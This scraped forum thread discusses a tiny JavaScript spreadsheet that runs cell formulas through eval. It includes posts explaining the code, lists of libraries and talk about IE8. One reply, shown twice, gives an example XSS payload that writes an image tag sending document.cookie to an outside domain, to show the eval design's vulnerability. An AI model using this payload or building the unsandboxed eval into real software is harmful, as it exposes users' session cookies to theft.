Earlier quoted context omitted.
Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?
document.write('<img src="somedomain.com/?'+document.cookie);
A spreadsheet in fewer than 30 lines of JavaScript, no library used
101–110 of 274 posts
Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#102Can someone help me understand how this works? Don't have deep JS knowledge and I can't see what's going on with `DATA` and all that.
This is where the magic happens :
var getter = function() {
var value = localStorage[elm.id] || "";
if (value.charAt(0) == "=") {
with (DATA) return eval(value.substring(1));
} else { return isNaN(parseFloat(value)) ? value :
parseFloat(value); }
};
So if you entered "=A1 + A2" it would be evaluated as
DATA[A1]+DATA[A2] . A1 and A2 get bound to DATA because of the preceding with statement.Now the question is what happens when DATA[A1] is called. He used Object.defineProperty to ensure that whenever you try to access a cell the same method (which i just explained) gets called.
Object.defineProperty(DATA, elm.id, {get:getter});
This means add a property called elm.id to DATA and it's getter is the function I just explained.So whenever we try to acess DATA[something] it hooks into the same getter method so a cell can depend on another cell which depends on another cell and so on ..
Now you can see why this so clever. Because he used the inbuilt eval it can evaluate any kind of formula involving multiplication , division or function calls.
The only thing I dont understand is how circular references are prevented.
Like I said I'm not very familiar with JS so if anyone notices anything wrong I'd like to know.
Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#103However we have a long way to go. This would be nice for a start: http://vimeo.com/36579366
Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#104Are there any more full-featured libraries that people use for this? I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell. [0] http://wijmo.com/demo/spreadjs/samples/index.html [1] http://www.gelsheet.org/demo [2] http://visop-dev.com/Project+jQuery.sheet [3] http://www.zkoss.org/product/zkspreadsheet
I'd really love to see one that supports a hierarchy of JSON data, such as a treegrid.
Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#105Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#106Earlier quoted context omitted.
A 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector ( http://norvig.com/spell-correct.html ): this language is more powerful and expressive than I thought. I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.
I've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better. It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off th…
Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).
At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.
Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#107Earlier quoted context omitted.
Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?
document.write('<img src="somedomain.com/?'+document.cookie);
Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#108Earlier quoted context omitted.
Neat idea, lowercase fixed!
Worth a line of code to add return key to move down a cell?
elm.onkeydown = function(evt) {
evt = evt || window.event;
var keyCode = evt.keyCode || evt.which;
if (keyCode == '13') {
var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
document.getElementById(nextid).focus();
}
};
disclaimer: I don't know JSRe: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#109Earlier quoted context omitted.
I've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better. It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off th…
> it looks like IE8 is finally falling off the radar Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended su…
Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used
#110This works wonderfully. Definitely the most punch I've seen per line of code. You can use javascript functions in your excel formulas. In a 30 line of code program this is a feature. = alert("I love it.");
excel_like_expression ::= "=" javascript_expression